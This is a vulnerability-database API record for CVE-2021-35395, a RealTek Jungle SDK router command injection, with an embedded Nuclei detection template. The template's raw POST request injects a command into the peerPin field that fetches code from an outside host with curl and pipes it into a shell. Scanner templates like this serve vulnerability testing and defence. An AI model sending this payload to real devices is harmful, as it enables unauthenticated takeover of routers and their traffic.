{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-35395/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-35395/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-35395/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-35395/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-35395/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-35395"},"sightings":{"href":"/api/v1/sightings/cve-2021-35395"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-35395.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-35395\n\ninfo:\n  name: RealTek Jungle SDK - Arbitrary Command Injection\n  author: king-alexander\n  severity: critical\n  description: |\n    There is a command injection vulnerability on the \"formWsc\" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands via command injection in the peerPin parameter, leading to complete router compromise and control over network traffic.\n  remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-35395\n    - https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities\n    - https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en\n    - https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf\n    - https://github.com/Knighthana/YABWF\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-35395\n    epss-score: 0.97961\n    epss-percentile: 0.99907\n    cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: realtek\n    product: realtek_jungle_sdk\n  tags: cve2021,cve,realtek,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /goform/formWsc HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n# digest: 4b0a00483046022100a94b13087a774f2ff811c8a81416995508400065690a4facd6409df537834081022100851e41c349ebbe4fb263650b601ae386e7311f453bee15522b2cedab12509768:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-35395"}